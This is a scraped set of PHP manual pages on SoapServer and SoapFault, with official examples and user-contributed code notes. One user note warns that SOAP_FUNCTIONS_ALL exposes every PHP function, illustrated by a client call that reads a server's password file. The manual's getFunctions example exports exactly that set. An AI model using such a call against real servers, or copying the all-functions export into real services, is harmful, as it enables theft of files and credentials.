    // DISCO_Server for WSDL
    require_once "SOAP/Disco.php";
    $disco = new SOAP_DISCO_Server ($ss,"mytimeserv","My Time Service");

    // set HTML-Header
    header("Content-type: text/xml");

    // return wsdl
    print $disco->getWSDL ();
  }
}

?>

CLIENT (soap_all_client.php) (for wsdl: http://example.com/soap_all_srv.php?wsdl):
<?php

require_once "SOAP/Client.php";

// SOAP/WSDL
$sw = new SOAP_WSDL ("http://example.com/soap_all_srv.php?wsdl");

// Proxy-Obj.
$proxy = $sw->getProxy ();

// servicemthod
$erg = $proxy->now ("H:i:s");

// return
print $erg."\n";

?>
mikkel at nsales dot dk 02-Jun-2010 03:15
If you want to return a custom object array from a nusoap webservice, you have to cast the objects to arrays like so:

<?php
$users = array();
while($res = $db_obj->fetch_row())
{
  $user = new user();
  $user->Id = $res['id'];
  $user->Username = $res['username'];
  $user->Email = $res['email'];

  $users[] = (array) $user;
}

return ($users);
?>
junk2cm at gmx dot de 25-May-2010 12:54
As the SoapServer class lacks the possibility of dealing with SOAP-Headers, my following workaround is suitable to my needs when I had to do authentication via the SOAP-Headers:
1. Use a class which handles SOAP requests and let the constructor of this class take the sent headers.
2. Before invoking the SoapServer extract the SOAP-Header from the incoming raw data.
3. When using setClass pass the extracted header to the handling class.

In Your Server-Skript do things like this
<?php
$hdr = file_get_contents("php://input");
if (strpos($hdr,'<s:Header>')===false) {
    $hdr = null;
} else {
    $hdr = explode('<s:Header>',$hdr);
    $hdr = explode('</s:Header>',$hdr[1]);
    $hdr = $hdr[0];
}
$srv = new SoapServer('Your_wsdl');
$srv->setClass("ServiceClass",$hdr);
$srv->handle();
?>

And the service class is like this:
<?php
class ServiceClass {
    var $IsAuthenticated;

    function __construct($hdr) {
        $this->IsAuthenticated = false;
        if ($hdr!=null) {
            $this->header = simplexml_load_string($hdr);
            //Your authentication stuff goes here...
        }
    }

    function SomeFunctionOfTheService($a) {
        if ($this->IsAuthenticated) {
            //here Your function...
        }
    }

}
?>
carlos dot vini at gmail dot com 20-May-2010 01:55
SoapServer does not support WSDL with literal/document. I have a class:

<?php
class My_Soap {
    /**
     * Returns Hello World.
     *
     * @param string $world
     * @return string
     */
    public function getInterAdmins($world) {
        return 'hello' . $world;
    }
}
?>

To fix this I had to create proxy class:
<?php
class My_Soap_LiteralDocumentProxy {
   public function __call($methodName, $args) {
       $soapClass = new My_Soap();
       $result = call_user_func_array(array($soapClass, $methodName),  $args[0]);
       return array($methodName . 'Result' => $result);
   }
}
?>

Now make sure that the WSDL is created using My_Soap. And that the Server is created using My_Soap_LiteralDocumentProxy:

<?php

if (isset($_GET['wsdl'])) {
    $wsdl = new Zend_Soap_AutoDiscover(); // It generates the WSDL
    $wsdl->setOperationBodyStyle(array(
        'use' => 'literal'
    ));
    $wsdl->setBindingStyle(array(
        'style' => 'document'
    ));
    $wsdl->setClass('My_Soap');
    $wsdl->handle();
} else {
    $server = new Zend_Soap_Server('http://localhost/something/webservice.php?wsdl');
    $server->setClass('My_Soap_LiteralDocumentProxy');
    $server->handle();
}

?>
dsubar at interna dot com 25-Dec-2009 09:49
Do not put a SoapServer and a SoapClient in the same PHP file. This seems to cause arbitrary behavior. On the PHP interpreter in Eclipse, everything worked fine. Under MAMP, I got an undocumented error. In moving the client from the same file as the server, everything worked fine.


添加一个或多个函数来处理 SOAP 请求

  • ? SoapServer
  • SoapServer::addSoapHeader ?
  • PHP Manual
  • SoapServer
  • 添加一个或多个函数来处理 SOAP 请求

SoapServer::addFunction

(PHP 5, PHP 7, PHP 8)

SoapServer::addFunction — 添加一个或多个函数来处理 SOAP 请求

说明

public SoapServer::addFunction(array|string|int $functions): void

为远程客户端导出一个或多个函数

参数

functions

导出一个函数，将函数名作为字符串传递给这个参数。

导出多个函数，将一组函数名作为数组传递。

导出所有函数，传递特殊常量 SOAP_FUNCTIONS_ALL.

Note:

functions 接收的所有输入参数必须同时和 WSDL 文件中定义的顺序一样（它们不应该接收任何输出变量作为参数）并且返回一个或多个值。如果要返回多个值，它们必须返回一组被命名的输出参数作为数组。

返回值

没有返回值。

示例

Example #1 SoapServer::addFunction() 示例

<?php

function echoString($inputString)
{
return $inputString;
}

$server->addFunction("echoString");

function echoTwoStrings($inputString1, $inputString2)
{
return array("outputString1" => $inputString1,
"outputString2" => $inputString2);
}
$server->addFunction(array("echoString", "echoTwoStrings"));

$server->addFunction(SOAP_FUNCTIONS_ALL);

?>

参见

  • SoapServer::__construct() - SoapServer constructor
  • SoapServer::setClass() - Sets the class which handles SOAP requests

User Contributed Notes

dotpointer at gmail dot com 26-Oct-2007 06:52
Be careful with SOAP_FUNCTIONS_ALL, as it adds ALL availiable PHP functions to your server.

This can be a potential security threat, imagine clients doing this:

echo $client->file_get_contents("c:\\my files\\my_passwords.doc");

And voila, they have the contents of your file my_passwords.doc.
Evan Borgstrom 23-Aug-2006 03:42
In response to comment by Nathan O'Sullivan about returning (or passing) a complex type, you can also use the stdClass() object.

Assume you define a complex type like so:

<xsd:complexType name="TestType">
        <xsd:all>
                <xsd:element name="A" type="xsd:string" />
                <xsd:element name="B" type="xsd:int" />
                <xsd:element name="C" type="xsd:boolean" />
        </xsd:all>
</xsd:complexType>

To use an object in place of an array you can do:

$test = new stdClass();
$test->A = "test string";
$test->B = 45;
$test->C = false;

$result = $client->Test($test);
Nathan O'Sullivan 28-Apr-2005 11:36
You may be left wondering, as I was, how to return a complex type - consider the following WSDL snippets, for a method called Login:

 <xs:element name="Login">
        <xs:complexType>
          <xs:sequence>
            <xs:element minOccurs="0" maxOccurs="1" name="username" type="xs:string" />
            <xs:element minOccurs="0" maxOccurs="1" name="password" type="xs:string" />
          </xs:sequence>
        </xs:complexType>
      </xs:element>

   <xs:complexType name="UserInfo">
        <xs:sequence>
          <xs:element minOccurs="0" maxOccurs="1" name="Id" type="xs:string" />
          <xs:element minOccurs="0" maxOccurs="1" name="Name" type="xs:string" />
          <xs:element minOccurs="0" maxOccurs="1" name="Nickname" type="xs:string" />
          <xs:element minOccurs="0" maxOccurs="1" name="Email" type="xs:string" />
        </xs:sequence>
      </xs:complexType>

   <xs:element name="LoginResponse">
        <xs:complexType>
          <xs:sequence>
            <xs:element minOccurs="0" maxOccurs="1" name="LoginResult" type="s0:UserInfo" />
          </xs:sequence>
        </xs:complexType>
      </xs:element>

Here's a working Login function  that I've added with add SoapServer::addFunction

function Login($username, $password)
{
  return array("LoginResult", array("Id"=>1, "Name"=>"Nathan", "Nickname"=>"Nathan", "Email"=>"email address") );
}

The UserInfo complextype is represented by the inner array.  The outer array has just one element, "LoginResult".  The LogineResponse element  seems to be treated as a one-member array by PHP.


Add a SOAP header to the response

  • ? SoapServer::addFunction
  • SoapServer::__construct ?
  • PHP Manual
  • SoapServer
  • Add a SOAP header to the response

SoapServer::addSoapHeader

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

SoapServer::addSoapHeader — Add a SOAP header to the response

说明

public SoapServer::addSoapHeader(SoapHeader $header): void

Adds a SOAP header to be returned with the response to the current request.

参数

header

The header to be returned.

返回值

没有返回值。

User Contributed Notes

vladimir at bashkirtsev dot com 21-Nov-2016 09:30
Notably addSoapHeaders() must be called within handling class/object.

If you call addSoapHeaders() like this:

$server = new SoapServer("some.wsdl");
$server->setObject(new Service());
$server->addSoapHeaders(new SoapHeader("ns", "Header", "value"));
$server->handle();

Your SOAP header will not be added to the server response as it will be overwritten by result of handle() function.

If you want to add SOAP headers to the resulting response you should make $server global/static variable and then call addSoapHeaders() from within of the method of Service class which will handle the request.


SoapServer constructor

  • ? SoapServer::addSoapHeader
  • SoapServer::fault ?
  • PHP Manual
  • SoapServer
  • SoapServer constructor

SoapServer::__construct

(PHP 5, PHP 7, PHP 8)

SoapServer::__construct — SoapServer constructor

说明

public SoapServer::__construct(?string $wsdl, array $options = [])

This constructor allows the creation of SoapServer objects in WSDL or non-WSDL mode.

参数

wsdl

To use the SoapServer in WSDL mode, pass the URI of a WSDL file. Otherwise, pass null and set the uri option to the target namespace for the server.

options

Allow setting a default SOAP version (soap_version), internal character encoding (encoding), and actor URI (actor).

The classmap option can be used to map some WSDL types to PHP classes. This option must be an array with WSDL types as keys and names of PHP classes as values.

The typemap option is an array of type mappings. Type mapping is an array with keys type_name, type_ns (namespace URI), from_xml (callback accepting one string parameter) and to_xml (callback accepting one object parameter).

The cache_wsdl option is one of WSDL_CACHE_NONE, WSDL_CACHE_DISK, WSDL_CACHE_MEMORY or WSDL_CACHE_BOTH.

There is also a features option which can be set to SOAP_WAIT_ONE_WAY_CALLS, SOAP_SINGLE_ELEMENT_ARRAYS, SOAP_USE_XSI_ARRAY_TYPE.

The send_errors option can be set to false to sent a generic error message ("Internal error") instead of the specific error message sent otherwise.

示例

Example #1 SoapServer::__construct() example

<?php

$server = new SoapServer("some.wsdl");

$server = new SoapServer("some.wsdl", array('soap_version' => SOAP_1_2));

$server = new SoapServer("some.wsdl", array('actor' => "http://example.org/ts-tests/C"));

$server = new SoapServer("some.wsdl", array('encoding'=>'ISO-8859-1'));

$server = new SoapServer(null, array('uri' => "http://test-uri/"));

class MyBook {
public $title;
public $author;
}

$server = new SoapServer("books.wsdl", array('classmap' => array('book' => "MyBook")));

?>

参见

  • SoapClient::__construct() - SoapClient constructor

User Contributed Notes

Anonymous 10-Jun-2012 02:35
// Workin Server with Client for localhost

// server.php

<?php
class MyClass {
  public function helloWorld() {

    return 'Hallo Welt '. print_r(func_get_args(), true);
  }
}

try {
  $server = new SOAPServer(
    NULL,
    array(
     'uri' => 'http://localhost/soap/server.php'
    )
  );

  $server->setClass('MyClass');
  $server->handle();
}

catch (SOAPFault $f) {
  print $f->faultstring;
}

?>

// client.php:

<?php
$client = new SoapClient(null, array(
      'location' => "http://localhost/soap/server.php",
      'uri'      => "http://localhost/soap/server.php",
      'trace'    => 1 ));

echo $return = $client->__soapCall("helloWorld",array("world"));
?>

// Hope you like it


Issue SoapServer fault indicating an error

  • ? SoapServer::__construct
  • SoapServer::getFunctions ?
  • PHP Manual
  • SoapServer
  • Issue SoapServer fault indicating an error

SoapServer::fault

(PHP 5, PHP 7, PHP 8)

SoapServer::fault — Issue SoapServer fault indicating an error

说明

public SoapServer::fault(
string $code,
string $string,
string $actor = "",
mixed $details = null,
string $name = ""
): void

Sends a response to the client of the current request indicating an error.

Note:

This can only be called when handling a request.

参数

code

The error code to return

string

A brief description of the error

actor

A string identifying the actor that caused the fault.

details

More details of the fault

name

The name of the fault. This can be used to select a name from a WSDL file.

返回值

没有返回值。

参见

  • SoapFault::__construct() - SoapFault constructor

User Contributed Notes

christian at cmjdesign dot dk 06-Jun-2013 10:41
hi,
to control the fault output one may do the following

/**
 * mySoapServer class
 */
class mySoapServer extends SoapServer {
    public function __construct($wsdl, array $options = null) {
        parent::SoapServer($wsdl, $options);
    }
    public function fault ($code, $string, $actor = null, $details = null, $name = null) {
        throw new SoapFault($code, $string, $actor, $details, $name);
    }
}

Use:
try {
    $server = new mySoapServer(null, array('uri' => $_SERVER['REQUEST_URI']));
    $server->setClass('mySoapAPI');
    $server->handle();
} catch (SoapFault $exc) {
    echo $exc->getTraceAsString();
}

that how i did this,
hope iot can help some one.
brian dot reynolds at risaris dot com 21-Feb-2012 09:44
Example Usage:

return new SoapFault( "Client", "foo or bar must be supplied");

SOAP Fault Codes

VersionMismatch: Found an invalid namespace for the SOAP Envelope element
MustUnderstand    : An immediate child element of the Header element, with the mustUnderstand attribute set to "1", was not understood
Client: The message was incorrectly formed or contained incorrect information
Server: There was a problem with the server so the message could not proceed
dub357 at gmail dot com 08-Feb-2012 08:01
This function also sends a 500 response code back to the client with the request.
This was causing issues with an Apache Axis 1.2 client I had so I instead implemented by own fault handling:

<?php
header("Content-Type: text/xml");
header("Status: 200");
die("<SOAP-ENV:Envelope xmlns:SOAP-ENV=\\"http://schemas.xmlsoap.org/soap/envelope/\\">
  <SOAP-ENV:Body>
    <SOAP-ENV:Fault>
      <faultcode>500</faultcode>
      <faultstring>".$ex->getMessage())."</faultstring>
    </SOAP-ENV:Fault>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>");
?>
Amr Mostafa 09-Sep-2009 06:16
This function currently terminates execution as well, which may be undesirable. See: http://bugs.php.net/bug.php?id=49513
Anonymous 16-Jul-2008 12:12
If you use Adobe Flex, Flash or AIR as SOAP client and are unable to get the error message in case of a soap fault, upgrade to PHP 5.2.6.

Details in:
http://bugs.php.net/bug.php?id=43507


Returns list of defined functions

  • ? SoapServer::fault
  • SoapServer::handle ?
  • PHP Manual
  • SoapServer
  • Returns list of defined functions

SoapServer::getFunctions

(PHP 5, PHP 7, PHP 8)

SoapServer::getFunctions — Returns list of defined functions

说明

public SoapServer::getFunctions(): array

Returns a list of the defined functions in the SoapServer object. This method returns the list of all functions added by SoapServer::addFunction() or SoapServer::setClass().

参数

此函数没有参数。

返回值

An array of the defined functions.

示例

Example #1 SoapServer::getFunctions() example

<?php
$server = new SoapServer(NULL, array("uri" => "http://test-uri"));
$server->addFunction(SOAP_FUNCTIONS_ALL);
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$server->handle();
} else {
echo "This SOAP server can handle following functions: ";
$functions = $server->getFunctions();
foreach($functions as $func) {
echo $func . "\n";
}
}
?>

参见

  • SoapServer::__construct() - SoapServer constructor
  • SoapServer::addFunction() - 添加一个或多个函数来处理 SOAP 请求
  • SoapServer::setClass() - Sets the class which handles SOAP requests

User Contributed Notes

There are no user contributed notes for this page.


Handles a SOAP request

  • ? SoapServer::getFunctions
  • SoapServer::setClass ?
  • PHP Manual
  • SoapServer
  • Handles a SOAP request

SoapServer::handle

(PHP 5, PHP 7, PHP 8)

SoapServer::handle — Handles a SOAP request

说明

public SoapServer::handle(?string $request = null): void

Processes a SOAP request, calls necessary functions, and sends a response back.

参数

request

The SOAP request. If this argument is omitted, the request is assumed to be in the raw POST data of the HTTP request.

返回值

没有返回值。

更新日志

版本 | 说明
8.0.0 | request is now nullable.

示例

Example #1 SoapServer::handle() example

<?php
function test($x)
{
return $x;
}

$server = new SoapServer(null, array('uri' => "http://test-uri/"));
$server->addFunction("test");
$server->handle();
?>

参见

  • SoapServer::__construct() - SoapServer constructor

User Contributed Notes

Bas van Dorst 19-Feb-2014 02:58
Additional information to the comment of "Joeri Thissen" (http://www.php.net/manual/en/soapserver.handle.php#113866)

In some cases the replacements generates a timeout (looks like it is in combination with Nginx). The problem is that PHP has already sent a content-length, and the webserver is still waiting for new content.

To fix this you have to reset the HTTP Content-Length with the right value:

<?php
ob_start();
$soapServer->handle();
$result = ob_get_contents();
ob_end_clean();

$result = str_replace("abcdef", "abc", $result);
$length = strlen($result);

header("Content-Length: ".$length);
echo $result;
Joeri Thissen 11-Dec-2013 10:59
Sometimes returned data can contain characters which are not valid in xml 1.0. This causes the xml being output by SoapServer::handle to be invalid. Although it's probably better to sanitize the data ealier, a combination of output buffering and a simple regular expression can be used as a quick fix to make sure the output is indeed valid xml.

For example:

<?php
    ob_start();
    $soapServer->handle();
    $soapXml = ob_get_contents();
    ob_end_clean();
    $soapXml = preg_replace ('/[^\x{0009}\x{000a}\x{000d}\x{0020}-\x{D7FF}\x{E000}-\x{FFFD}]+/u', ' ', $soapXml);
    echo $soapXml;
?>
dub357 at gmail dot com 08-Feb-2012 10:54
After much headache and looking through PHP source code, I finally found out why the handle() function would immediately send back a fault with the string "Bad Request".
Turns out that my client was sending valid XML, but the first line of the XML was the actual XML declaration:

<?xml version="1.0" encoding="UTF-8"?>

When the "handle" function in the SoapServer class is called, it first tries to parse the XML.  When the XML document can't be parsed, a "Bad Request" fault is returned and execution of the script immediately stops.  I assume that the XML parser built into PHP (libxml2) already assumes the document to be XML and when it finds the declaration, it thinks it isn't valid.

I added some XML parsing calls to my service before the handle() function is called to check for valid XML and avoid the "Bad Request" fault.  This also allows me to send back a more suitable error message:

<?php
$parser = xml_parser_create("UTF-8");
if (!xml_parse($parser,$HTTP_RAW_POST_DATA,true)){
   $webService->fault("500", "Cannot parse XML: ".
      xml_error_string(xml_get_error_code($parser)).
       " at line: ".xml_get_current_line_number($parser).
       ", column: ".xml_get_current_column_number($parser));
}
?>
prenaud at profideo dot com 09-Jan-2012 02:23
Please note that when defining several services in one wsdl file, and calling one of those services, you may always get the response for your first service.

This is a known bug. You will find its description and some workarounds here  : https://bugs.php.net/bug.php?id=49169
Artur Graniszewski 15-Nov-2009 10:19
Be aware that SoapServer::handle(); method sends additional HTTP headers to the browser. One of them is "Content-Type: application/soap+xml". If you want to execute SOAP methods locally as a part of SoapClient::__doRequest() (see example at http://pl2.php.net/manual/en/soapclient.dorequest.php ) you may need to reset (override) this header back to "Content-Type: text/html" like so:

<?php
function Add($x,$y) {
  return $x+$y;
}

class LocalSoapClient extends SoapClient {

  function __construct($wsdl, $options) {
    parent::__construct($wsdl, $options);
    $this->server = new SoapServer($wsdl, $options);
    $this->server->addFunction('Add');
  }

  function __doRequest($request, $location, $action, $version) {
    ob_start();
    $this->server->handle($request);
    $response = ob_get_contents();
    ob_end_clean();
    return $response;
  }

}

$x = new LocalSoapClient(NULL,array('location'=>'test://',
                                   'uri'=>'http://testuri.org'));

header("Content-Type: text/html");

var_dump($x->Add(3,4));

?>
tom at backslashinteractive dot com 03-Oct-2008 10:54
In response to Blizzke:

Sometimes this problem can be hidden by an Apache segmentation fault along with an HTTP headers error SoapFault thrown to the client.

If you get either of those 2, try checking to make sure that style="rpc" in your WSDL file's soap:operation's.

-T
Blizzke at gmail dot com 12-Mar-2008 04:39
Seems pretty logical once you find the solution, but it took me quite a while to figure this one out:
If you are using WSDL based SOAP requests and you have more than one operation in your binding (with the same parameters), make sure the <soap:operation> style is set to rpc, NOT body!

When you specify 'body' here, all that will be transmitted in the request is the parameters for the function call, and SoapServer->handle() will use the first function it finds with the same parameter-makeup to handle the call.

ie If you have 2 functions:
<?php
function One ( string $blah );
function Two ( string $blah );
?>
Making a client call with SoapClient -> Two ( 'test' ); will result in One ( ) being called when your 'type' is set to 'body'

The actual method to call will only be included in the request when your type is set to 'rpc', resulting in the expected behavior
king dot maxemilian at noos dot fr 21-Aug-2007 09:23
Sometime, it happens that PHP does not detect anything in $HTTP_RAW_POST_DATA.

To solve this problem and make it work in any case:

function soaputils_autoFindSoapRequest()    {
    global $HTTP_RAW_POST_DATA;

    if($HTTP_RAW_POST_DATA)
        return $HTTP_RAW_POST_DATA;

    $f = file("php://input");
    return implode(" ", $f);
}

$server = new SoapServer($wsdl);
$server->setClass($MyClass);

$server->handle(soaputils_autoFindSoapRequest());


Sets the class which handles SOAP requests

  • ? SoapServer::handle
  • SoapServer::setObject ?
  • PHP Manual
  • SoapServer
  • Sets the class which handles SOAP requests

SoapServer::setClass

(PHP 5, PHP 7, PHP 8)

SoapServer::setClass — Sets the class which handles SOAP requests

说明

public SoapServer::setClass(string $class, mixed ...$args): void

Exports all methods from specified class.

The object can be made persistent across request for a given PHP session with the SoapServer::setPersistence() method.

参数

class

The name of the exported class.

args

These optional parameters will be passed to the default class constructor during object creation.

返回值

没有返回值。

参见

  • SoapServer::__construct() - SoapServer constructor
  • SoapServer::addFunction() - 添加一个或多个函数来处理 SOAP 请求
  • SoapServer::setPersistence() - Sets SoapServer persistence mode

User Contributed Notes

funky2step at gmail dot com 25-Nov-2011 01:54
When passing arguments to the default class constructor, make sure that you don't try and use the magic __construct method because that won't work.

<?php

class MyClass
{
  function MyClass($arg1, $arg2)
  {

  }
}

// Not:

class MyClass
{
  function __construct($arg1, $arg2)
  {

  }
}

?>
christiaan at oakfox dot net 04-May-2009 04:21
You can also retrieve object properties the following way while using __autoload($class_name).

<?php

# Start Session
session_start();

# Auto Load Class as Required
function __autoload($class_name)
{
    require_once "/var/www/example/class/". $class_name. ".php";
}

//service

$_SESSION[_bogus_session_name] = unserialize($_SESSION[_bogus_session_name]);
$server = new SoapServer('service.wsdl');
$server->setClass("MyClass");
$server->setPersistence(SOAP_PERSISTENCE_SESSION);
$server->handle();
$_SESSION[_bogus_session_name] = serialize($_SESSION[_bogus_session_name])

?>
Ariz Jacinto 04-Dec-2008 04:38
If you want your SOAP client to be able to save and then retrieve the object properties, you need to set the SOAP server to be persistent by setting session.auto_start=0, invoking session_start(), and SoapServer->setPersistence(SOAP_PERSISTENCE_SESSION) in the following manner:

<?php
  //set ini
  ini_set("soap.wsdl_cache_enabled", 0);
  ini_set("session.auto_start", 0);

  //class file
  require_once('MyClass.php');

  //for persistent session
  session_start();

  //service
  $server = new SoapServer('service.wsdl');
  $server->setClass("MyClass");
  $server->setPersistence(SOAP_PERSISTENCE_SESSION);
  $server->handle();
?>


Sets the object which will be used to handle SOAP requests

  • ? SoapServer::setClass
  • SoapServer::setPersistence ?
  • PHP Manual
  • SoapServer
  • Sets the object which will be used to handle SOAP requests

SoapServer::setObject

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

SoapServer::setObject — Sets the object which will be used to handle SOAP requests

说明

public SoapServer::setObject(object $object): void

This sets a specific object as the handler for SOAP requests, rather than just a class as in SoapServer::setClass().

参数

object

The object to handle the requests.

返回值

没有返回值。

参见

  • SoapServer::setClass() - Sets the class which handles SOAP requests

User Contributed Notes

There are no user contributed notes for this page.


Sets SoapServer persistence mode

  • ? SoapServer::setObject
  • SoapFault ?
  • PHP Manual
  • SoapServer
  • Sets SoapServer persistence mode

SoapServer::setPersistence

(PHP 5, PHP 7, PHP 8)

SoapServer::setPersistence — Sets SoapServer persistence mode

说明

public SoapServer::setPersistence(int $mode): void

This function allows changing the persistence state of a SoapServer object between requests. This function allows saving data between requests utilizing PHP sessions. This method only has an affect on a SoapServer after it has exported functions utilizing SoapServer::setClass().

Note:

The persistence of SOAP_PERSISTENCE_SESSION makes only objects of the given class persistent, but not the class static data. In this case, use $this->bar instead of self::$bar.

Note:

SOAP_PERSISTENCE_SESSION serializes data on the class object between requests. In order to properly utilize resources (e.g. PDO), __wakeup() and __sleep() magic methods should be utilized.

参数

mode

One of the SOAP_PERSISTENCE_XXX constants.

SOAP_PERSISTENCE_REQUEST - SoapServer data does not persist between requests. This is the default behavior of any SoapServer object after setClass is called.

SOAP_PERSISTENCE_SESSION - SoapServer data persists between requests. This is accomplished by serializing the SoapServer class data into $_SESSION['_bogus_session_name'], because of this session_start() must be called before this persistence mode is set.

返回值

没有返回值。

示例

Example #1 SoapServer::setPersistence() example

<?php
class MyFirstPersistentSoapServer {
private $resource; // (Such as PDO, mysqli, etc..)
public $myvar1;
public $myvar2;

public function __construct() {
$this->__wakeup(); // We're calling our wakeup to handle starting our resource
}

public function __wakeup() {
$this->resource = CodeToStartOurResourceUp();
}

public function __sleep() {
// We make sure to leave out $resource here, so our session data remains persistent
// Failure to do so will result in the failure during the unserialization of data
// on the next request; thus, our SoapObject would not be persistent across requests.
return array('myvar1','myvar2');
}
}

try {
session_start();
$server = new SoapServer(null, array('uri' => $_SERVER['REQUEST_URI']));
$server->setClass('MyFirstPersistentSoapServer');
// setPersistence MUST be called after setClass, because setClass's
// behavior sets SESSION_PERSISTENCE_REQUEST upon enacting the method.
$server->setPersistence(SOAP_PERSISTENCE_SESSION);
$server->handle();
} catch(SoapFault $e) {
error_log("SOAP ERROR: ". $e->getMessage());
}
?>

参见

  • SoapServer::setClass() - Sets the class which handles SOAP requests

User Contributed Notes

csnaitsirch at web dot de 01-Apr-2010 05:25
I want to give one example for the order of commands if you want to use a class in persistence mode.

<?php
// 1. class definition or include
class UserService
{
    public function __construct() { }
}

// 2. start the session after defining or including the class!!
session_start();

// 3. instanciate the server
$server = new SoapServer(null, array("something"));

// 4. set the class to use
$server->setClass('UserService');

// 5. set persistance mode
$server->setPersistence(SOAP_PERSISTENCE_SESSION);

// 6. handle the request
$server->handle();
?>
doug dot manley at gmail dot com 30-May-2008 12:54
When using "SoapServer::setPersistence( SOAP_PERSISTENCE_SESSION )", you apparently MUST include the class that was used in "SoapServer::setClass()" BEFORE any "session_*" commands.

I found this out using "__autoload()" and a whole lot of "syslog()"; it kept failing to include the class that I was using for my soap server, but that class is ONLY ever referenced by the page itself, and even then only for the purposes of setting the class for the soap server; none of my code would ever cause it to autoload.  The problem was that I was including my session-handling code first.

If the session gets started BEFORE the page defines the class definition, then persistence CANNOT happen.

The order should be:
1. Include the class for use with the soap server.
2. Start up your session.
3. Set up your soap server.
4. Handle your soap request.
boogiebug at gmail dot com 25-Mar-2008 07:40
setPersistence works only for a single instance of service class.

To use multiple instance of services objects, you need to instantiate the classes into objects and use an undocumented SoapServer's method - setObject() to add the service object into the SoapServer object, and handle the service object persistence with $_SESSION instead.

For example:

$ServiceObjects = array()
$ServiceObjects[0] = new ServiceClass1();
$ServiceObjects[1] = new ServiceClass2();
$ServiceObjects[2] = new ServiceClass3();

$_SESSION['ServiceClass1'] = $ServiceObjects[0];
$_SESSION['ServiceClass2'] = $ServiceObjects[1];
$_SESSION['ServiceClass3'] = $ServiceObjects[2];

...

$Servers = array()
for ( $i = 0; $i < count($ServiceObjects); i++)
{
  $s = new SoapServer($wsdl);
  $s->setObject($ServiceObject[$i]);
  $Servers[] = $s;
}

...

$Server[$i]->handle()

...
jan at pinna dot nl 26-Jan-2008 03:28
I found that using both modes (SOAP_PERSISTENCE_SESSION and SOAP_PERSISTENCE_REQUEST) cannot be used simultaniously. Because it didn't work at once, I started experimenting by using different settings and as stated below in the comments, "...also use SOAP_PERSISTENCE_REQUEST to save objects between requests" led me to think it was nessecary to use both modes. Well, it might for others, be but for me it turned out a day of freaking out ;) (trying all kinds of session stuff, etc etc).
Also, if persistence doesn't work, please check if session_start() is called somewhere in the script and try not to call it twice or whatsoever: it won't work...
jared at ws-db dot com 28-Aug-2005 12:07
I had some issues getting session persistence (SOAP_PERSISTENCE_SESSION) to work. I finally got it working after setting session.auto_start=0, and then only calling session_start() in the script containing the SoapServer. Maybe this is obvious, but took me a bit to figure it out.

I only tried it with session.use_cookies=1, so if the settings above don't work for you, make sure cookies are enabled, though it may work without the need for cookies.
cperez1000 at hotmail dot com 28-May-2005 08:54
Always remember to place the "setPersistence" method before the handle method, otherwise it won't work.  It sounds obvious, but it's still a very common mistake, since no errors are shown.


The SoapFault class

(PHP 5, PHP 7, PHP 8)

简介

Represents a SOAP fault.

类摘要

class SoapFault extends Exception {
/* 属性 */
public string $faultstring;
public ?string $faultcode = null;
public ?string $faultcodens = null;
public ?string $faultactor = null;
public mixed $detail = null;
public ?string $_name = null;
public mixed $headerfault = null;
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 方法 */
public __construct(
array|string|null $code,
string $string,
?string $actor = null,
mixed $details = null,
?string $name = null,
mixed $headerFault = null
)
public __toString(): string
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

属性

_name

detail

faultactor

faultcode

faultcodens

faultstring

headerfault

Table of Contents

  • SoapFault::__construct — SoapFault constructor
  • SoapFault::__toString — Obtain a string representation of a SoapFault

User Contributed Notes

fbernoldi at gmail dot com 03-Oct-2012 05:46
Hi all,

I've decided to post this since it may be helpful, I've spend a couple of days trying to do this.

In order to use wsdl's specified faults with complex types, i.e:

WSDL definitions:

(xsd:schema namespace, ns1 = target namespace)

<xsd:element name="doubleFault">
  <xsd:complexType>
    <xsd:sequence>
      <xsd:element name="detail1" type="xsd:string"/>
      <xsd:element name="detail2" type="xsd:string"/>
    </xsd:sequence>
  </xsd:complexType>
</xsd:element>

WSDL messages:

<message name="fault_specified">
    <part name="relevant_name" element="ns1:doubleFault"/>
</message>

WSDL port type:

<portType name="test">
  <operation name="operationTest">
  <input message="ns1:not_relevant_request"/>
  <output message="ns1:not_relevant_response"/>
  <fault name="FaultSpecified" message="ns1:fault_specified"/>
  ....
</portType>

You have to specify the response in the detail parameter as an array corresponding the tag names.

PHP Code:

<?php

function operationTest($request_param ...) {

    // ...
    $array_details = array("detail1" => "Explanation 1", "detail2" => "Explanation 2");

    return new SoapFault("Server", "example fault string", null, $array_details, "FaultSpecified");

}

$server = new SOAPServer("handmade.wsdl");
$server->addFunction("operationTest");
$server->handle();

?>

that should respond something like this:

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://mynamespace">
   <SOAP-ENV:Body>
      <SOAP-ENV:Fault>
         <faultcode>SOAP-ENV:Server</faultcode>
         <faultstring>example fault string</faultstring>
         <detail>
            <ns1:doubleFault>
               <detail1>Explanation 1</detail1>
               <detail2>Explanation 2</detail2>
            </ns1:doubleFault>
         </detail>
      </SOAP-ENV:Fault>
   </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

I Hope it helps,
Federico.
chris AT cmbuckley DOT co DOT uk 13-May-2010 03:53
A bit more digging in ext/soap/soap.c and the set_soap_fault function reveals the other undocumented properties from the constructor:

<?php
try {
    throw new SoapFault('code', 'string', 'actor', 'detail', 'name', 'header');
} catch (Exception $ex) {
    var_dump($ex->faultcode, $ex->faultstring, $ex->faultactor, $ex->detail, $ex->_name, $ex->headerfault);
}
?>
dmitry dot koterov at gmail dot com 29-Oct-2009 02:21
You may use undocumented and invisible property $e->faultcode to access string version of $code. Because standard $e->getCode() does not work:

<?php
$e = new SoapFault("test", "msg");
var_dump($e->getCode()); // prints "0"
var_dump($e->faultcode); // prints "test"
?>

Also you may use namespaced fault codes:

<?php
$e = new SoapFault(array("namespace", "test"), "msg");
?>

- see ext/soap/soap.php, PHP_METHOD(SoapFault, SoapFault). To access the namespace, use $e->faultcodens


SoapFault constructor

